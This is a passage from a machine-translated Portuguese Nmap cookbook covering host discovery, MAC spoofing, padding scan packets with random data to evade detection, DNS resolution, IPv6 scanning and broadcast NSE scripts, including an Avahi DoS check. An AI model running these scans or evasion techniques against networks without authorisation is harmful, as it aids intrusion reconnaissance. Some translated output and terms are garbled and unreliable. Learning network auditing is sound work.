Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Nmap concluído: 1 endereço IP (1 host ativado) verificado em 0,18 segundos

Para forçar o Nmap a não realizar uma varredura de ping ARP ao escanear um endereço privado, use
a opção --send-ip. Isso produzirá uma saída semelhante à seguinte:

# nmap -sP -PS --packet-trace --send-ip 192.168.1.254

SENT (0.0574s) TCP 192.168.1.102:63897 > 192.168.1.254:80 S ttl=53 id=435


iplen=44 seq=128225976 vitória=1024 <mss 1460>

58

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

RCVD (0.0592s) TCP 192.168.1.254:80 > 192.168.1.102:63897 SA ttl=254


id=3229 iplen=44 seq=4067819520 win=1536 <mss 768>

NSOCK (0.1360s) Conexão UDP solicitada para 192.168.1.254:53 (IOD #1) EID 8

NSOCK (0.1360s) Solicitação de leitura do IOD #1 [192.168.1.254:53] (tempo limite: -1ms) EID 18

NSOCK (0.1360s) Solicitação de gravação de 44 bytes para IOD #1 EID 27 [192.168.1.254:53]:


d~...........254.1.168.192.in-addr.arpa.... .

NSOCK (0.1360s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]

NSOCK (0.1360s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]

NSOCK (0.1610s) Callback: READ SUCCESS for EID 18 [192.168.1.254:53] (44 bytes): d~...........254.1.168.192.in-
addr.arpa.... .

NSOCK (0.1610s) Solicitação de leitura do IOD #1 [192.168.1.254:53] (tempo limite: -1ms) EID 34

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,0019s).

Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Nmap concluído: 1 endereço IP (1 host ativado) verificado em 0,17 segundos

Falsificação de endereço MAC É


possível falsificar seu endereço MAC durante a execução de uma varredura de ping ARP. Use --spoof mac para
definir um novo endereço MAC:

# nmap -sP -PR --spoof-mac 5C:4C:A9:F2:DC:7C

Veja também

f A receita Encontrando hosts ativos em sua rede no Capítulo 1, Fundamentos do Nmap

f A receita de varreduras de ping de descoberta de hosts com TCP SYN

f A receita de varreduras de ping de descoberta de hosts com TCP ACK

f A receita de descoberta de hosts com varreduras de ping UDP

f A descoberta de hosts com receita de varreduras de ping ICMP f

A descoberta de hosts com receita de varreduras de ping de protocolo IP

f A receita de descoberta de hosts usando pings de transmissão

f A descoberta de firewalls dinâmicos usando uma receita de varredura TCP ACK no Capítulo 3,
Coletando informações adicionais do host

59

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Descobrindo hosts usando pings de transmissão


Os pings de transmissão enviam solicitações de eco ICMP para o endereço de transmissão local e, mesmo
que não funcionem o tempo todo, são uma boa maneira de descobrir hosts em uma rede sem enviar sondagens
para os outros hosts.

Esta receita descreve como descobrir novos hosts com um ping de transmissão usando o Nmap NSE.

Como fazer isso...


Abra seu terminal e digite o seguinte comando:

# nmap --script broadcast-ping

Você deve ver a lista de hosts que responderam ao ping de transmissão:

Resultados do script de pré-

varredura: | ping de transmissão:


| IP: 192.168.1.105 MAC: 08:00:27:16:4f:71

| IP: 192.168.1.106 MAC: 40:25:c2:3f:c7:24

|_ Use --script-args=newtargets para adicionar os resultados como destinos


AVISO: Nenhum destino foi especificado, portanto, 0 hosts foram verificados.
Nmap concluído: 0 endereços IP (0 hosts ativos) verificados em 3,25 segundos

Como funciona...
Um ping de broadcast funciona enviando uma solicitação de eco ICMP para o endereço de broadcast local
255.255.255.255 e, em seguida, esperando que os hosts respondam com uma resposta de eco ICMP. Ele
produz uma saída semelhante à seguinte:.

# nmap --script broadcast-ping --packet-trace

NSOCK (0.1000s) PCAP solicitado no dispositivo 'wlan2' com filtro berkeley 'dst host 192.168.1.102 e
icmp[icmptype]==icmp-echoreply' (promisc=0 snaplen=104 to_ms=200) (IOD #1)

NSOCK (0.1000s) PCAP criado com sucesso no dispositivo 'wlan2' (pcap_desc=4 bsd_hack=0 to_valid=1
l3_offset=14) (IOD #1)
NSOCK (0.1000s) Pedido de leitura Pcap do IOD #1 EID 13

60

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

NSOCK (0.1820s) Callback: READ-PCAP SUCCESS for EID 13

NSOCK (0.1820s) Pedido de leitura Pcap do IOD #1 EID 21

NSOCK (0.1850s) Callback: READ-PCAP SUCCESS for EID 21

NSOCK (0.1850s) Pedido de leitura Pcap do IOD #1 EID 29

NSOCK (3.1850s) Callback: READ-PCAP TIMEOUT para EID 29

NSE: > | FECHAR

Resultados do script de pré-varredura:

| ping de transmissão:
|| IP: 192.168.1.105 MAC: 08:00:27:16:4f:71

IP: 192.168.1.106 MAC: 40:25:c2:3f:c7:24

|_ Use --script-args=newtargets para adicionar os resultados como destinos

AVISO: Nenhum destino foi especificado, portanto, 0 hosts foram verificados.

Nmap concluído: 0 endereços IP (0 hosts ativos) verificados em 3,27 segundos

Tem mais...
Para aumentar o número de solicitações de eco ICMP, use o argumento de script broadcast-ping.
num_probes:

# nmap --script broadcast-ping --script-args broadcast-ping.num_probes=5

Ao verificar grandes redes, pode ser útil aumentar o limite de tempo limite, usando --script-
args broadcast-ping.timeout=<tempo em ms>, para evitar a falta de hosts com má latência.

# nmap --script broadcast-ping --script-args broadcast-ping.timeout=10000

Você pode especificar a interface de rede usando broadcast-ping.interface. Se você não


especificar uma interface, o broadcast-ping enviará testes usando todas as interfaces com um
endereço IPv4.

# nmap --script broadcast-ping --script-args broadcast-ping. interface=wlan3

Biblioteca de destino
O argumento --script-args=newtargets força o Nmap a usar esses novos hosts como alvos:

# nmap --script broadcast-ping --script-args newtargets

61

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Resultados do script de pré-varredura:

| ping de transmissão: | |
IP: 192.168.1.105
_ IP: 192.168.1.106 MAC:MAC: 08:00:27:16:4f:71

40:25:c2:3f:c7:24
Relatório de verificação do Nmap para 192.168.1.105

O host está ativo (latência de 0,00022s).

Não mostrado: 997 portas fechadas


PORTA SERVIÇO DE ESTADO

22/tcp ssh aberto

80/tcp http aberto

111/tcp abre rpcbind

Endereço MAC: 08:00:27:16:4F:71 (Cadmus Computer Systems)

Relatório de verificação do Nmap para 192.168.1.106

O host está ativo (latência de 0,49s).

Não mostrado: 999 portas fechadas


SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto

Endereço MAC: 40:25:C2:3F:C7:24 (Intel Corporate)

Nmap concluído: 2 endereços IP (2 hosts acima) verificados em 7,25 segundos

Observe que não especificamos um destino, mas o argumento newtargets ainda adicionou os IPs
192.168.1.106 e 192.168.1.105 à fila de varredura de qualquer maneira.

O argumento max-newtargets define o número máximo de hosts a serem adicionados à fila de verificação:

# nmap --script broadcast-ping --script-args max-newtargets=3

Veja também

f A receita Encontrando hosts ativos em sua rede no Capítulo 1, Fundamentos do Nmap

f A receita de varreduras de ping de descoberta de hosts com TCP SYN

62

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

f A receita de varreduras de ping de descoberta de hosts com TCP ACK

f A receita de descoberta de hosts com varreduras de ping UDP

f A descoberta de hosts com receita de varreduras de ping ICMP f A

descoberta de hosts com receita de varreduras de ping de protocolo IP

f A receita de descoberta de hosts com varreduras de ping ARP

f A descoberta de firewalls dinâmicos usando uma receita de varredura TCP ACK no Capítulo 3,
Coletando informações adicionais do host

Escondendo nosso tráfego com dados aleatórios


adicionais
Os pacotes gerados pelas varreduras do Nmap geralmente têm apenas os cabeçalhos de protocolo definidos
e, apenas em certos casos, incluem cargas úteis específicas. O Nmap implementa um recurso para diminuir a
probabilidade de detectar essas sondagens conhecidas, usando dados aleatórios como cargas úteis.

Esta receita descreve como enviar dados aleatórios adicionais em pacotes enviados pelo Nmap durante
uma varredura.

Como fazer isso...


Para anexar 300 bytes de dados aleatórios, abra seu terminal e digite o seguinte comando:

# nmap -sS -PS --data-length 300 scanme.nmap.org

Como funciona...
O argumento --data-length <# of bytes> diz ao Nmap para gerar bytes aleatórios e anexá-los como dados nas
requisições.

A maioria das técnicas de varredura é suportada neste método, mas é importante observar que o uso
desse argumento torna a varredura mais lenta, pois precisamos transmitir mais dados a cada solicitação.

63

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Na captura de tela a seguir, um pacote gerado por uma varredura padrão do Nmap e outro onde
usamos o argumento --data-length são mostrados:

Tem mais...
Definir o argumento --data-length como 0 forçará o Nmap a não usar nenhuma carga útil nas
solicitações:

# nmap --data-length 0 scanme.nmap.org

Veja também

f A receita de Varredura usando intervalos de porta específicos no Capítulo 1, Fundamentos do


Nmap f A receita de Spoofing do IP de origem de uma varredura de porta no Capítulo 3, Coletando
Informações do host

f A receita Forçando resoluções de DNS f A


receita Excluindo hosts de suas verificações f A
receita Verificando endereços IPv6
f A receita de pular testes para acelerar varreduras longas no Capítulo 7, Varredura
Grandes redes
f A receita de ajuste dos parâmetros de temporização no Capítulo 7, Varredura de grandes
redes f A receita de Seleção do modelo de temporização correto no Capítulo 7, Varredura
Grandes redes

64

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

Forçando resolução de DNS


Os nomes DNS revelam informações valiosas com muita frequência porque os administradores de sistema nomeiam
seus hosts de acordo com suas funções, como firewall ou mail.domain.com. O Nmap, por padrão, não executa a resolução
de DNS se um host estiver offline. Ao forçar a resolução de DNS, podemos coletar informações extras sobre a rede, mesmo
que o host pareça estar offline.

Esta receita descreve como forçar a resolução de DNS para hosts offline durante as varreduras do Nmap.

Como fazer isso...


Abra seu terminal e digite o seguinte comando:

# nmap -sS -PS -F -R XX.XXX.XXX.220-230

Este comando forçará a resolução de DNS para hosts off-line no intervalo XX.XXX.XXX.220-230.

Considere o uso de uma varredura de lista, que também executará a resolução de DNS, respectivamente –sL.

Sim, uma varredura de lista fará isso. O que estou tentando transmitir aqui é que você pode incluir informações
de DNS de hosts que estão inativos durante uma varredura de porta ou ao executar um script NSE.

Como funciona...
Os argumentos -sS -PS -F -R dizem ao Nmap para executar um TCP SYN Stealth (-sS), SYN ping (-PS), varredura
rápida de porta (-F) e sempre executar resolução de DNS (-R).

Digamos que queremos escanear os dois IPs ao redor do domínio 0xdeadbeefcafe.com com IP XX.XXX.XXX.223,
o seguinte comando pode ser usado:

# nmap -sS -PS -F -R XX.XXX.XXX.222-224


Relatório de verificação do Nmap para liXX-XXX.members.linode.com (XX.XXX.XXX.222)
O host está ativo (latência de 0,11s).
Todas as 100 portas verificadas em liXX-XXX.members.linode.com (XX.XXX.XXX.222) são filtradas

Relatório de varredura Nmap para 0xdeadbeefcafe.com (XX.XXX.XXX.223)


O host está ativo (latência de 0,11s).
Não mostrado: 96 portas fechadas
PORTA ESTADO SERVIÇO

22/tcp aberto ssh

65

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

25/tcp abrir smtp

Relatório de verificação do Nmap para mail.0xdeadbeefcafe.com (XX.XXX.XXX.224)


O host está ativo (latência de 0,11s).
Não mostrado: 96 portas fechadas
PORTA ESTADO SERVIÇO

25/tcp filtrado smtp

Nesse caso, uma verificação rápida nos disse que provavelmente é um VPS hospedado pela Linode e também
é a localização do servidor de e-mail.

Tem mais...
Você também pode desabilitar completamente a resolução de DNS com o argumento -n. Isso acelera as
varreduras e é muito recomendado se você não precisar resolver o DNS de um host.

# nmap -sS -PS -F -n scanme.nmap.org

Especificando diferentes servidores de nomes DNS Para resolução


de DNS, o Nmap por padrão consulta o servidor DNS do seu sistema. Servidores de nomes DNS
alternativos podem ser definidos com o argumento --dns-servers. Por exemplo, para usar os servidores
DNS abertos do Google:

# nmap -sS -PS -R --dns-servers 8.8.8.8,8.8.4.4 <alvo>

Veja também

f A receita Ocultando nosso tráfego com dados aleatórios adicionais f A receita

Varredura usando faixas de portas específicas no Capítulo 1, Fundamentos do Nmap

f A falsificação do IP de origem de uma receita de varredura de porta no Capítulo 3, Coletando dados adicionais
Informações do host

f A receita Excluir hosts de sua varredura f A receita Varredura

de endereços IPv6

f A receita de pular testes para acelerar varreduras longas no Capítulo 7, Varredura


Grandes redes

f A receita de ajuste dos parâmetros de temporização no Capítulo 7, Varredura de grandes redes f A receita

de Seleção do modelo de temporização correto no Capítulo 7, Varredura


Grandes redes

66

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

Excluindo hosts de suas verificações


Haverá situações em que a exclusão do host será necessária para evitar a verificação de
determinadas máquinas. Por exemplo, você pode não ter a autorização ou pode ser que o host
já tenha sido escaneado e você queira economizar algum tempo. O Nmap implementa uma
opção para excluir um host ou uma lista de hosts para ajudá-lo nesses casos.

Esta receita descreve como excluir hosts de suas varreduras do Nmap.

Como fazer isso...


Abra seu terminal e digite o seguinte comando:

# nmap -sV -O --exclude 192.168.1.102,192.168.1.254 192.168.1.1/24

Você deve ver os resultados da verificação de todos os hosts disponíveis na rede privada
192.168.1.1-255, excluindo os IPs 192.168.1.254 e 192.168.1.102, conforme mostrado no
exemplo a seguir:

# nmap -sV -O --exclude 192.168.1.102,192.168.1.254 192.168.1.1/24

Relatório de verificação do Nmap para 192.168.1.101

O host está ativo (latência de 0,019s).

Não mostrado: 996 portas fechadas


PORTA ESTADO VERSÃO DO SERVIÇO

21/tcp ftp filtrado

53/tcp domínio filtrado

554/tcp rtsp filtrado

3306/tcp mysql filtrado

Endereço MAC: 00:23:76:CD:C5:BE (HTC)

Muitas impressões digitais correspondem a este host para fornecer detalhes específicos do sistema operacional

Distância de rede: 1 salto

Detecção de SO e serviço executada. Informe quaisquer resultados incorretos em http://nmap.org/submit/ .

Nmap concluído: 254 endereços IP (1 host ativo) verificados em 18,19 segundos

67

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Como funciona...
Os argumentos -sV -O --exclude 192.168.1.102,192.168.1.254 192.168.1.1/1 dizem ao Nmap para executar uma
varredura de detecção de serviço (-sV) com uma impressão digital do sistema operacional (-O) de todos os 256 IPs
(192.168.1.1 /24) nesta rede privada, excluindo as máquinas com os IPs 192.168.102 e 192.168.1.254 (--excluir
192.168.1.102,192.168.1.254), respectivamente.

Tem mais...
O argumento --exclude também oferece suporte a intervalos de IP, conforme mostrado nos exemplos a seguir:

# nmap -sV -O --exclude 192.168.1-100 192.168.1.1/24


# nmap -sV -O --exclude 192.168.1.1,192.168.1.10-20 192.168.1.1/24

Excluindo uma lista de hosts de suas verificações


O Nmap também suporta o argumento --exclude-file <filename> para excluir os alvos listados em <filename>:

# nmap -sV -O --exclude-file dontscan.txt 192.168.1.1/24

Veja também

f A receita Ocultando nosso tráfego com dados aleatórios adicionais

f A receita para forçar a resolução de DNS f A

receita para escanear endereços IPv6

f A receita de coleta de informações de rede com scripts de transmissão

f A receita de Varredura usando intervalos de porta específicos no Capítulo 1, Fundamentos do Nmap f A

receita de Spoofing do IP de origem de uma varredura de porta no Capítulo 3, Coletando


Informações do host

f A receita de exclusão de hosts da sua varredura

f A receita de pular testes para acelerar varreduras longas no Capítulo 7, Varredura


Grandes redes

f A receita de ajuste de parâmetros de temporização no Capítulo 7, Varredura de grandes redes

f A receita do modelo de temporização correto no Capítulo 7, Digitalização


Grandes redes

68

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

Verificando endereços IPv6


Embora não tenhamos esgotado todos os endereços IPv4 como algumas pessoas previram, os
endereços IPv6 estão se tornando mais comuns, e a equipe de desenvolvimento do Nmap tem
trabalhado duro para melhorar seu suporte a IPv6. Todas as técnicas de varredura de portas e
descoberta de host já foram implementadas e isso torna o Nmap essencial ao trabalhar com redes IPv6.

Esta receita descreve como escanear um endereço IPv6 com o Nmap.

Como fazer isso...


Vamos escanear o endereço IPv6 que representa o localhost (::1):

# nmap -6 ::1

Os resultados se parecem com uma varredura normal do Nmap:

Relatório de varredura Nmap para ip6-localhost (::1)

O host está ativo (latência de 0,000018s).

Não mostrado: 996 portas fechadas


PORTA VERSÃO DE SERVIÇO DE ESTADO

25/tcp abrir smtp Exim smtpd

80/tcp http aberto Apache httpd 2.2.16 ((Debian))

631/tcp ipp aberto COPA 1.4

8080/tcp abrir http Mecanismo Apache Tomcat/Coyote JSP 1.1

Como funciona...
O argumento -6 diz ao Nmap para executar a varredura do IPv6. Basicamente, você pode definir qualquer
outro sinalizador em combinação com -6. Ele suporta técnicas de varredura usando pacotes brutos, detecção
de serviço, porta TCP e varredura de ping e o mecanismo de script Nmap.

# nmap -6 -sT --traceroute ::1

Relatório de varredura Nmap para ip6-localhost (::1)

O host está ativo (latência de 0,00033s).

Não mostrado: 996 portas fechadas

69

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

PORTA SERVIÇO DE ESTADO

25/tcp abrir smtp


80/tcp http aberto
631/tcp ipp aberto
8080/tcp abre proxy http

Tem mais...

Ao executar a verificação de IPv6, lembre-se de que você pode usar nomes de host e endereços IPv6 como alvos:

# nmap -6 scanmev6.nmap.org
# nmap -6 2600:3c01::f03c:91ff:fe93:cd19

Detecção de SO na verificação de IPv6 A detecção


de SO para endereços IPv6 funciona de maneira semelhante à do IPv4; as sondas são enviadas e comparadas
com um banco de dados de impressões digitais. As sondagens enviadas estão listadas em http://nmap.org/
book/osdetect-ipv6-methods.html. Você pode ativar a detecção de SO em verificações de IPv6 com a opção -O:

#nmap -6 -O <alvo>

A detecção do SO foi adicionada muito recentemente e você pode ajudar enviando impressões digitais para o
banco de dados do Nmap usado para os algoritmos de detecção. O procedimento para enviar novas impressões
digitais IPv6 é descrito por Luis Martin Garcia em http://seclists.org/nmap-dev/2011/q3/21.
Sabendo a rapidez com que a equipe do Nmap trabalha, sei que logo estará pronto.

Veja também

f A receita Ocultando nosso tráfego com dados aleatórios adicionais f A

receita Forçando a resolução de DNS

f A receita de exclusão de hosts da sua varredura

f A receita de coleta de informações de rede com scripts de transmissão f A receita

de varredura usando intervalos de porta específicos no Capítulo 1, Fundamentos do Nmap f A receita de

falsificação do IP de origem de uma varredura de porta no Capítulo 3, Coletando informações


Informações do host

f A receita de varredura de endereços IPv6 f A

receita de pular testes para acelerar varreduras longas no Capítulo 7, Varredura


Grandes redes

70

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

f A receita de ajuste dos parâmetros de temporização no Capítulo 7, Varredura de grandes


redes f A receita de Seleção do modelo de temporização correto no Capítulo 7, Varredura
Grandes redes

Coletando informações de rede com


scripts de transmissão
As solicitações de transmissão geralmente revelam detalhes do protocolo e do host e, com alguma ajuda
do Nmap Scripting Engine, podemos coletar informações valiosas de uma rede. Os scripts de transmissão
NSE executam tarefas como detectar ouvintes de caixa de depósito, farejar para detectar hosts e descobrir
servidores MS SQL e NCP, entre muitas outras coisas.

Esta receita descreve como usar os scripts de transmissão NSE para coletar informações interessantes
de uma rede.

Como fazer isso...


Abra um terminal e digite o seguinte comando:

# nmap --script broadcast

Observe que os scripts de transmissão podem ser executados sem definir um destino específico. Todos os scripts NSE
que encontraram informações serão incluídos nos resultados da verificação:

Resultados do script de pré-varredura:

| targets-ipv6-multicast-invalid-dst: |
IP: fe80::a00:27ff:fe16:4f71 MAC: 08:00:27:16:4f:71 IFACE: wlan2

|_ Use --script-args=newtargets para adicionar os resultados como destinos | targets-ipv6-

multicast-echo: | |
IP: fe80::a00:27ff:fe16:4f71 MAC: 08:00:27:16:4f:71 IFACE: wlan2

IP: fe80::4225:c2ff:fe3f:c724 MAC: 40:25:c2:3f:c7:24 IFACE: wlan2

|_ Use --script-args=newtargets para adicionar os resultados como destinos | targets-ipv6-

multicast-slaac:

| IP: fe80::a00:27ff:fe16:4f71 MAC: 08:00:27:16:4f:71 IFACE: wlan2

| IP: fe80::4225:c2ff:fe3f:c724 MAC: 40:25:c2:3f:c7:24 IFACE: wlan2

|_ Use --script-args=newtargets para adicionar os resultados como destinos | ping de

transmissão: | |
IP: 192.168.1.105 MAC: 08:00:27:16:4f:71

IP: 192.168.1.106 MAC: 40:25:c2:3f:c7:24

71

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

|_ Use --script-args=newtargets para adicionar os resultados como destinos | broadcast-


dns-service-discovery: | 192.168.1.102 | |_ | broadcast-avahi-dos: | Hosts descobertos: | |
Após NULL UDP avahi packet DoS (CVE-2011-1002).
estação de trabalho 9/tcp
Endereço=192.168.1.102 fe80:0:0:0:2c0:caff:fe50:e567

192.168.1.102

|_ Os hosts estão todos ativos (não vulneráveis).


AVISO: Nenhum destino foi especificado, portanto, 0 hosts foram verificados.
Nmap concluído: 0 endereços IP (0 hosts ativos) verificados em 35,06 segundos

Como funciona...
O argumento --script broadcast diz ao Nmap para inicializar todos os scripts NSE na categoria
broadcast. Esta categoria contém scripts que usam solicitações de transmissão, o que significa que
nenhuma análise é enviada diretamente aos destinos.

No momento em que isso estava sendo escrito, havia 18 roteiros de transmissão disponíveis.
Vejamos as descrições do script, retiradas da documentação oficial do Nmap:

f broadcast-avahi-dos: Este script tenta descobrir hosts na rede local usando o protocolo DNS Service
Discovery e envia um pacote NULL UDP para cada host para testar se ele é vulnerável à negação
de serviço do pacote Avahi NULL UDP ( CVE-2011-1002).

f broadcast-db2-discover: Este script tenta descobrir servidores DB2 no


rede enviando uma solicitação de transmissão para a porta 523/udp.

f broadcast-dhcp-discover: Este script envia uma solicitação DHCP para o endereço de broadcast
(255.255.255.255) e relata os resultados. Ele usa um endereço MAC estático (DE:AD:CO:DE:CA:FE)
para evitar o esgotamento do escopo.

f broadcast-dns-service-discovery: Este script tenta descobrir os serviços dos hosts usando o


protocolo DNS Service Discovery. Ele envia uma consulta DNS-SD multicast e coleta todas as
respostas. f broadcast-dropbox-listener: Este script escuta as transmissões de informações de

sincronização da LAN que o cliente Dropbox.com transmite a cada 20 segundos e, em seguida,


imprime todos os endereços IP do cliente descobertos, números de porta, números de versão,
nomes de exibição e muito mais.

72

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

f broadcast-listener: Este script fareja a rede para comunicação de transmissão recebida e tenta
decodificar os pacotes recebidos. Ele suporta protocolos como CDP, HSRP, Spotify,
DropBox, DHCP, ARP e alguns mais.
Consulte packetdecoders.lua para obter mais informações.

f broadcast-ms-sql-discover: Este script descobre servidores Microsoft SQL


no mesmo domínio de broadcast.

f broadcast-netbios-master-browser: Este script tenta descobrir navegadores mestres e os


domínios que eles gerenciam.

f broadcast-novell-locate: Este script tenta usar o Service Location Protocol para descobrir
servidores Novell NetWare Core Protocol (NCP) .

f broadcast-ping: Este script envia pings de broadcast para uma interface selecionada usando pacotes
Ethernet brutos e gera os endereços IP e MAC dos hosts de resposta ou (se solicitado) os adiciona
como destinos. Privilégios de root no Unix são necessários para executar este script, pois ele usa
soquetes brutos. A maioria dos sistemas operacionais não responde a testes de ping de transmissão,
mas eles podem ser configurados para isso.

f broadcast-rip-discover: Este script descobre dispositivos e informações de roteamento


para dispositivos executando RIPv2 na LAN. Ele faz isso enviando um comando RIPv2
Request e coleta as respostas de todos os dispositivos que respondem à solicitação.

f broadcast-upnp-info: Este script tenta extrair informações do sistema do serviço UPnP enviando
uma consulta multicast e, em seguida, coletando, analisando e exibindo todas as respostas.

f broadcast-wsdd-discover: Este script usa uma consulta multicast para descobrir


dispositivos que suportam o protocolo Web Services Dynamic Discovery (WS-Discovery).
Ele também tenta localizar qualquer serviço Web publicado do Windows Communication
Framework (WCF) (.NET 4.0 ou posterior).

f lltd-discovery: Este script usa o protocolo LLTD da Microsoft para descobrir hosts
em uma rede local.

f targets-ipv6-multicast-echo: Este script envia um pacote de solicitação de eco ICMPv6 para todos
os nós, endereço multicast local de link (ff02::1), para descobrir hosts responsivos em uma
LAN sem a necessidade de executar ping individualmente em cada endereço IPv6 . f targets-

ipv6-multicast-invalid-dst: Este script envia um pacote ICMPv6 com um cabeçalho de extensão inválido
para todos os nós, endereço multicast local de link (ff02::1), para descobrir (alguns) hosts
disponíveis na LAN . Isso funciona porque alguns hosts responderão a essa investigação com
um pacote de problema de parâmetro ICMPv6.

f targets-ipv6-multicast-slaac: Este script executa a descoberta de host IPv6


ativando a configuração automática de endereço sem estado (SLAAC).

f targets-sniffer: Este script fareja a rede local por uma quantidade considerável
de tempo (10 segundos por padrão) e imprime os endereços descobertos. Se o argumento do
script newtargets for definido, os endereços descobertos serão adicionados à fila de varredura.

73

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Considere que cada script tem um conjunto de argumentos disponíveis que às vezes precisam ser ajustados.
Por exemplo, targets-sniffer fareja a rede por apenas 10 segundos, o que pode não ser suficiente para uma rede
grande:

# nmap --script broadcast --script-args targets-sniffer.timeout 30

Como você pode ver, a categoria de transmissão tem alguns scripts NSE muito bacanas que valem a pena
conferir. Você pode aprender mais sobre argumentos específicos para um script de transmissão em http://
nmap.org/nsedoc/categories/broadcast.html.

Tem mais...
Lembre-se de que os scripts NSE podem ser selecionados por categoria, expressão ou pasta. Assim, poderíamos
chamar todos os scripts de transmissão excluindo aqueles nomeados como targets-*, como segue:

# nmap --script "transmissão e não alvos*"

Resultados do script de pré-varredura:

| broadcast-netbios-master-browser: | ip |

_192.168.1.103 GRUPO DEservidor domínio |


TRABALHO CLDRN-PC

broadcast-upnp-info: | 192.168.1.103 |

Servidor: Microsoft-Windows-NT/5.1 UPnP/1.0 UPnP-Device-Host/1.0

|_ Localização: http://192.168.1.103:2869/upnphost/udhisapi.
dll?content=uuid:69d208b4-2133-48d4-a387-3a19d7a733de

| broadcast-dns-service-discovery: | 192.168.1.101 |

|_ | broadcast-wsdd-discover: | Dispositivos | | |
estação
Endereço: de trabalho 9/tcp
http://192.168.1.103:5357/53de64a8-
Endereço=192.168.1.101
b69c-428f-a3ec 35c4fc1c16fe/ fe80:0:0:0:2c0:caff:fe50:e567

192.168.1.103

ID da mensagem: b9dcf2ab-2afd-4791-aaae-9a2091783e90

|_ Tipo: Dispositivo pub:Computador |

ouvinte de transmissão: | udp |

Dropbox

74

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

ip do nome de exibição versão da porta host_int


| espaços de nomes

|_ 104784739 192.168.1.103 17500 1.8 104784739


14192704, 71393219, 68308486, 24752966, 69985642, 20936718, 78567110,
76740792, 20866524

, broadcast-avahi-dos:

| Hospedeiros descobertos:
192.168.1.101

| | Após NULL UDP avahi packet DoS (CVE-2011-1002).

|_ Os hosts estão todos ativos (não vulneráveis).


AVISO: Nenhum destino foi especificado, portanto, 0 hosts foram verificados.

Nmap concluído: 0 endereços IP (0 hosts ativos) verificados em 34,86 segundos

Biblioteca de destino
O argumento --script-args=newtargets força o Nmap a usar esses novos hosts como
alvos:

# nmap --script broadcast-ping --script-args newtargets


Resultados do script de pré-
varredura: | ping de transmissão: |
IP: 192.168.1.105
|_ IP: 192.168.1.106 MAC: 08:00:27:16:4f:71
MAC:
40:25:c2:3f:c7:24
Relatório de verificação do Nmap para 192.168.1.105
O host está ativo (latência de 0,00022s).
Não mostrado: 997 portas fechadas
PORTA SERVIÇO DE ESTADO

22/tcp ssh aberto


80/tcp http aberto
111/tcp abre rpcbind
Endereço MAC: 08:00:27:16:4F:71 (Cadmus Computer Systems)

Relatório de verificação do Nmap para 192.168.1.106


O host está ativo (latência de 0,49s).
Não mostrado: 999 portas fechadas
SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto


Endereço MAC: 40:25:C2:3F:C7:24 (Intel Corporate)

Nmap concluído: 2 endereços IP (2 hosts acima) verificados em 7,25 segundos

75

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Observe que não especificamos um destino, mas o argumento newtargets adicionou os IPs 192.168.1.106
e 192.168.1.105 à fila de varredura de qualquer maneira.

O argumento max-newtargets define o número máximo de hosts a serem adicionados à fila de verificação:

# nmap --script broadcast-ping --script-args max-newtargets=3

Veja também

f A receita Descobrindo hosts usando pings de transmissão f A receita

Forçando a resolução de DNS

f A receita de digitalização de endereços IPv6

f A descoberta de nomes de host apontando para a mesma receita de endereço IP no Capítulo 3,


Coletando informações adicionais do host

f A receita de localização geográfica de um endereço IP no Capítulo 3, Coletando dados adicionais


Informações do host

f A receita Encontrando hosts ativos em sua rede no Capítulo 1, Fundamentos do Nmap

f Os serviços de impressão digital de uma receita de host remoto no Capítulo 1,


Fundamentos do Nmap

f A receita de execução de scripts NSE no Capítulo 1, Fundamentos do Nmap

76

www.it-ebooks.info
Machine Translated by Google

Adicional de coleta
3
Informações do host
Este capítulo mostra como fazer algumas coisas que, em muitas situações, podem
ser ilegais, antiéticas, uma violação dos termos de serviço ou simplesmente não
ser uma boa ideia. Ele é fornecido aqui para fornecer informações que podem ser
úteis para se proteger contra ameaças e tornar seu próprio sistema mais seguro.
Antes de seguir estas instruções, certifique-se de estar do lado certo da linha legal
e ética... use seus poderes para o bem!

Neste capítulo, abordaremos:

f Geolocalização de um endereço
IP f Obtenção de informações de registros WHOIS
f Verificando se um host é conhecido por atividades maliciosas
f Coletando contas de e-mail válidas
f Descobrir nomes de host apontando para o mesmo endereço IP
f Registros DNS de força bruta f
Impressão digital do sistema operacional de um host
f Descobrindo serviços UDP
f Listagem de protocolos suportados por um host remoto
f Descobrir firewalls dinâmicos usando uma verificação TCP ACK
f Combinar serviços com vulnerabilidades de segurança conhecidas
f Spoofing do IP de origem de um port scan

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Introdução

O processo mais importante durante um teste de penetração é a fase de coleta de informações.


Durante esse processo, investigamos nosso alvo com o objetivo de aprender tudo sobre ele.
As informações que descobrimos podem ser inestimáveis em estágios posteriores de nosso teste de penetração.
Durante esse processo, coletamos informações como nomes de usuário, possíveis senhas, hosts e
serviços adicionais ou até banners de versão, entre muitos outros dados interessantes.

Existem várias ferramentas que nos ajudam a recuperar informações sobre nosso alvo, usando várias fontes diferentes.
Nosso sucesso vem do uso de todos os recursos disponíveis. Atreva-se a ignorar ou negligenciar qualquer um deles e
você pode estar perdendo a única informação que precisa para comprometer completamente seu alvo.

O Nmap é bem conhecido por seus recursos de coleta de informações, como impressão digital do sistema
